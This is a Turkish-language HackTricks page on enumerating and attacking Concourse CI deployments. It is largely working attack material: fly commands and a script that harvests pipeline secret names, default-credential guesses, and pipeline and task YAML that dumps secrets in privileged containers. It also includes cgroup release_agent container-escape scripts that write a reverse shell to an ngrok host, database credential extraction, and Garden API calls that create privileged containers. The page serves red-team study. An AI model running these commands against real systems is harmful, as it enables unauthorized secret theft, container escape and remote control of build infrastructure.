Concourse Enumeration & Attacks

Concourse Numaralandırma ve Saldırılar

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Kullanıcı Roller ve İzinler

Concourse, beş rolle birlikte gelir:

  • Concourse Yönetici: Bu rol, ana takıma (varsayılan başlangıç concourse takımı) sahip olanlara verilir. Yöneticiler, diğer takımları yapılandırabilir (örneğin: fly set-team, fly destroy-team...). Bu rolün izinleri RBAC tarafından etkilenemez.

  • sahip: Takım sahipleri takım içindeki her şeyi değiştirebilir.

  • üye: Takım üyeleri, takım ayarlarını değiştiremezler ancak takım varlıkları içinde okuma ve yazma yapabilirler.

  • pipeline-operator: Pipeline operatörleri, yapılandırmaları güncelleyemezler ancak yapılandırmaları tetikleme ve kaynakları sabitleme gibi pipeline işlemleri gerçekleştirebilirler.

  • görüntüleyici: Takım görüntüleyicileri, bir takıma ve onun pipeline'larına "salt okunur" erişime sahiptir.

Ayrıca, sahip, üye, pipeline-operator ve görüntüleyici rollerinin izinleri RBAC'yi yapılandırarak değiştirilebilir (daha spesifik olarak eylemlerini yapılandırarak). Daha fazlasını okumak için: https://concourse-ci.org/user-roles.html

Unutmayın ki Concourse, pipeline'ları Takımlar içinde gruplandırır. Bu nedenle, bir Takıma ait olan kullanıcılar bu pipeline'ları yönetebilir ve birçok Takım olabilir. Bir kullanıcı birçok Takıma ait olabilir ve her birinde farklı izinlere sahip olabilir.

Vars ve Kimlik Bilgisi Yöneticisi

YAML yapılandırmalarında, değerleri ((_kaynak-adı_:_gizli-yol_._gizli-alan_)) sözdizimi kullanarak yapılandırabilirsiniz. Dökümantasyondan: kaynak-adı isteğe bağlıdır ve atlanırsa, küme genelindeki kimlik bilgisi yöneticisi kullanılacak veya değer statik olarak sağlanabilir. İsteğe bağlı olan gizli-alan belirtilen gizli alandan okunacak. Atlanırsa, kimlik bilgisi yöneticisi, alanda varsa alınan kimlik bilgisinden 'varsayılan alanı' okumayı seçebilir. Ayrıca, gizli-yol ve gizli-alan nokta . ve : gibi özel karakterler içeriyorsa çift tırnaklar "..." ile çevrilebilir. Örneğin, ((kaynak:"benim.gizli"."alan:1")) gizli-yol'u benim.gizli olarak ve gizli-alanalan:1 olarak ayarlar.

Statik Vars

Statik vars, görev adımlarında belirtilebilir:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Veya aşağıdaki fly argümanlarını kullanarak:

  • -v veya --var NAME=VALUE, VALUE değerini NAME değişkeninin değeri olarak ayarlar.

  • -y veya --yaml-var NAME=VALUE, VALUE'yi YAML olarak ayrıştırır ve NAME değişkeninin değeri olarak ayarlar.

  • -i veya --instance-var NAME=VALUE, VALUE'yi YAML olarak ayrıştırır ve NAME örneği değişkeninin değeri olarak ayarlar. Daha fazla bilgi için Gruplama Boruları sayfasına bakın.

  • -l veya --load-vars-from FILE, FILE adlı, değişken adlarını değerlere eşleyen bir YAML belgesini yükler ve hepsini ayarlar.

Kimlik Bilgisi Yönetimi

Bir boruda Kimlik Bilgisi Yöneticisi nasıl belirtileceği farklı şekillerde olabilir, bunu https://concourse-ci.org/creds.html sayfasında okuyun. Ayrıca, Concourse farklı kimlik bilgisi yöneticilerini destekler:

Unutmayın ki, bir şekilde Concourse'a yazma erişiminiz varsa, Concourse'un bunlara erişebilmesi için gizli bilgileri dışarı çıkarmak için işler oluşturabilirsiniz.

Concourse Saptama

Bir Concourse ortamını saptamak için öncelikle geçerli kimlik bilgilerini toplamanız veya muhtemelen bir .flyrc yapılandırma dosyasında kimlik doğrulama belirteci bulmanız gerekir.

Giriş ve Geçerli Kullanıcı saptama

  • Giriş yapmak için uç nokta, takım adı (varsayılan olarak main) ve kullanıcının ait olduğu bir takım bilmeniz gerekmektedir:

  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]

  • Yapılandırılmış hedefleri alın:

  • fly targets

  • Yapılandırılmış hedef bağlantısının geçerli olup olmadığını alın:

  • fly -t <target> status

  • Kullanıcının belirtilen hedefe karşı rolünü alın:

  • fly -t <target> userinfo

API belirtecinin varsayılan olarak $HOME/.flyrc'ye kaydedildiğini unutmayın, bir makineyi yağmaladığınızda orada kimlik bilgilerini bulabilirsiniz.

Takımlar ve Kullanıcılar

  • Takımların bir listesini alın

  • fly -t <target> teams

  • Takım içindeki rolleri alın

  • fly -t <target> get-team -n <team-name>

  • Kullanıcıların bir listesini alın

  • fly -t <target> active-users

Borular

  • Boruları listele:

  • fly -t <target> pipelines -a

  • Boru YAML'sini alın (hassas bilgiler tanımda bulunabilir):

  • fly -t <target> get-pipeline -p <pipeline-name>

  • Tüm boru yapılandırma değişkenlerini alın

  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done

  • Kullanılan tüm boru gizli adlarını alın (bir iş oluşturabilir veya bir konteyneri ele geçirebilirseniz bunları dışarı çıkarabilirsiniz):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Konteynerler ve İşçiler

  • İşçileri listele:

  • fly -t <hedef> workers

  • Konteynerleri listele:

  • fly -t <hedef> containers

  • Çalışan yapıları görmek için yapıları listele:

  • fly -t <hedef> builds

Concourse Saldırıları

Kimlik Bilgileri Kaba Kuvvet

  • admin:admin

  • test:test

Gizli Bilgiler ve parametrelerin sıralanması

Önceki bölümde, boru hattı tarafından kullanılan tüm gizli adlarını ve değişkenleri nasıl alabileceğinizi gördük. Değişkenler, hassas bilgiler içerebilir ve gizli adlarının daha sonra çalmak için kullanışlı olacaktır.

Çalışan veya yakın zamanda çalışan bir konteyner içinde oturum açma

Yeterli ayrıcalığa sahipseniz (üye rolü veya daha fazlası), boru hattını ve rolleri listelemeniz ve sadece <boru hattı>/<iş> konteyneri içinde bir oturum açmanız mümkün olacaktır. Bunun için:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Bu izinlerle şunları yapabilirsiniz:

  • Konteyner içindeki sırları çalmak

  • Düğüme kaçmaya çalışmak

  • Bulut meta veri uç noktasını (mümkünse pod ve düğümden) numaralandırmak/istismar etmek

Pipeline Oluşturma/Değiştirme

Yeterli ayrıcalığa sahipseniz (üye rolü veya daha fazlası), yeni pipeline'lar oluşturabilir/değiştirebilirsiniz. Aşağıdaki örneği kontrol edin:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Yeni bir pipeline'ın değiştirilmesi/yaratılmasıyla şunları yapabilirsiniz:

  • Sırları çalmak (onları yankılayarak veya konteynere girip env komutunu çalıştırarak)

  • Node'a kaçmak (yeterli ayrıcalıkları vererek - privileged: true)

  • Bulut meta veri uç noktasını (pod ve noddan) sıralamak/kötüye kullanmak

  • Oluşturulan pipeline'ı silmek

Özel Görevi Yürüt

Bu, önceki yönteme benzer, ancak tamamen yeni bir pipeline yerine sadece özel bir görevi yürütebilirsiniz (bu muhtemelen çok daha gizli olacaktır):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

Yetkili görevden nod'a kaçış

Önceki bölümlerde, concourse ile yetkili bir görevin nasıl yürütüleceğini gördük. Bu, bir docker konteynerindeki ayrıcalıklı bayrağa tam olarak aynı erişimi sağlamaz. Örneğin, /dev içinde düğüm dosya sistemi cihazını görmeyeceksiniz, bu yüzden kaçış daha "karmaşık" olabilir.

Aşağıdaki PoC'de, release_agent'i bazı küçük değişikliklerle kullanarak kaçış yapacağız:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Gözlemlemiş olabileceğiniz gibi, bu sadece bir düzenli release_agent kaçışı ve düğümdeki cmd yolunun değiştirilmesiyle yapılır.

Bir İşçi konteynerinden düğüme kaçış

Bunun için biraz değiştirilmiş bir düzenli release_agent kaçışı yeterlidir:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Web konteynırından düğüme kaçış

Web konteynırının bazı savunmaları devre dışı bırakılmış olsa bile, bu konteynır bir sıradan ayrıcalıklı konteynır olarak çalışmıyor (örneğin, bağlama yapamazsınız ve yetenekler oldukça sınırlıdır, bu yüzden konteynırdan kaçmak için kolay yollar işe yaramaz).

Ancak, yerel kimlik bilgilerini açık metin olarak saklar:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Web sunucusuna karşı oturum açmak ve ayrıcalıklı bir konteyner oluşturarak düğüme kaçmak için bu kimlik bilgilerini kullanabilirsiniz.

Ortamda, Concourse'un kullandığı postgresql örneğine erişmek için bilgileri bulabilirsiniz (adres, kullanıcı adı, şifre ve diğer bilgiler arasında veritabanı):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Garden Servisi Kötüye Kullanma - Gerçek Bir Saldırı Değil

Bu sadece servis hakkında ilginç notlar, ancak yalnızca yerel ana bilgisayarda dinlendiği için bu notlar daha önce zaten sömürdüğümüz bir etki sunmuyor.

Varsayılan olarak, her bir Concourse işçisi, port 7777'de bir Garden servisi çalıştıracaktır. Bu servis, Web yöneticisinin işçiye neyi yürütmesi gerektiğini (görüntüyü indirip her görevi çalıştırma) belirtmek için kullanılır. Bu bir saldırgan için oldukça iyi görünüyor, ancak bazı güzel korumalar var:

  • Yalnızca yerel olarak (127.0.0.1) açığa çıkarılır ve işçi, özel SSH servisiyle Web'e kimlik doğrulama yaptığında, her işçi içindeki Garden servisiyle iletişim kurmak için bir tünel oluşturulur.

  • Web sunucusu, çalışan konteynerleri her birkaç saniyede bir izler ve beklenmeyen konteynerler silinir. Bu nedenle, özel bir konteyner çalıştırmak istiyorsanız, web sunucusu ile garden servisi arasındaki iletişimi manipüle etmeniz gerekir.

Concourse işçileri yüksek konteyner ayrıcalıklarıyla çalışır:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Ancak, düğümün /dev cihazını veya release_agent'i bağlama gibi teknikler çalışmayacaktır (çünkü düğümün dosya sistemiyle gerçek cihaza erişilemez, sadece sanal bir cihaz vardır). Düğümün işlemlerine erişemiyoruz, bu yüzden çekirdek açıkları olmadan düğümden kaçmak karmaşık hale gelir.

Önceki bölümde, ayrıcalıklı bir konteynerden nasıl kaçılacağını gördük, bu yüzden geçerli işçi tarafından oluşturulan bir ayrıcalıklı konteynerde komutları çalıştırabiliyorsak, düğümden kaçabiliriz.

Concourse ile oynarken fark ettim ki bir şeyi çalıştırmak için yeni bir konteyner oluşturulduğunda, konteyner işlemleri işçi konteynerinden erişilebilir, bu yüzden içinde yeni bir konteyner oluşturan bir konteyner gibi çalışır.

Çalışan bir ayrıcalıklı konteynere giriş yapma

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Yeni bir ayrıcalıklı konteyner oluşturma

Çok kolay bir şekilde yeni bir konteyner oluşturabilirsiniz (yalnızca rastgele bir UID çalıştırın) ve üzerinde bir şeyler çalıştırabilirsiniz:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Ancak, web sunucusu çalışan konteynerleri her birkaç saniyede bir kontrol ediyor ve beklenmeyen bir tane bulunursa siliniyor. İletişim HTTP üzerinden gerçekleştiği için, beklenmeyen konteynerlerin silinmesini önlemek için iletişimi bozabilirsiniz:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Referanslar

  • https://concourse-ci.org/vars.html

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated